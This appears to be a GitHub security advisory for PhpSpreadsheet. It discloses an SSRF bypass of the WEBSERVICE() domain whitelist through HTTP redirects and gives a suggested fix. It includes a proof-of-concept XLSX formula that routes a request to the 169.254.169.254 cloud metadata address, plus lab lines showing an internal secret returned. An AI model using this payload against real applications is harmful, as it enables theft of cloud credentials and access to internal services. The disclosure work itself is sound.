Skip to content

PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

High severity GitHub Reviewed Published Jul 19, 2026 in PHPOffice/PhpSpreadsheet • Updated Jul 23, 2026

Package

composer phpoffice/phpspreadsheet (Composer)

Affected versions

>= 4.0.0, <= 5.8.0
>= 3.3.0, <= 3.10.6
>= 2.2.0, <= 2.4.6
>= 2.0.0, <= 2.1.17
<= 1.30.5

Patched versions

5.8.1
3.10.7
2.4.7
2.1.18
1.30.6

Description

Summary

The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.

Details

In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.

The stream context does not disable redirect following:

$ctxArray = [
    'http' => [
        'user_agent' => 'Mozilla/5.0 ...',
        // follow_location defaults to true
        // max_redirects defaults to 20
    ],
];

PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.

Vulnerable code (Calculation/Web/Service.php):

// Whitelist check — runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}

// HTTP request — follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);

Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.

PoC

Prerequisites:

  • Application uses PhpSpreadsheet >= 5.4.0
  • Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain
  • Application calls $cell->getCalculatedValue() on uploaded XLSX files

Attack steps:

  1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).

  2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:

<c r="A1">
  <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
  1. Upload the XLSX to the target application. The calculation engine:
    • Validates whitelisted-domain.com against the whitelist — passes
    • Calls file_get_contents("http://whitelisted-domain.com/redirect?url=...")
    • file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/no re-validation
    • Returns the cloud metadata response as the cell's calculated value

Lab reproduction:

# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target

# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)

# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}

Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).

Impact

An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:

  • Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
  • Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via http://169.254.169.254/
  • Access internal services not exposed to the internet
  • Port-scan internal networks via any whitelisted hostname (port is not validated)

This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.

Attack scenarios:

  • Whitelisted domain has an open redirect vulnerability
  • Attacker controls the whitelisted domain (e.g., a free-tier API service)
  • DNS rebinding after the whitelist check

Suggested Fix

Disable redirect following in the stream context:

$ctxArray = [
    'http' => [
        'user_agent' => '...',
        'follow_location' => false,
        'max_redirects' => 0,
    ],
];

Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.

Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.

Related

This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.

Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.


References

@oleibman oleibman published to PHPOffice/PhpSpreadsheet Jul 19, 2026
Published to the GitHub Advisory Database Jul 23, 2026
Reviewed Jul 23, 2026
Last updated Jul 23, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(42nd percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-59931

GHSA ID

GHSA-6hq5-7373-42rg

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.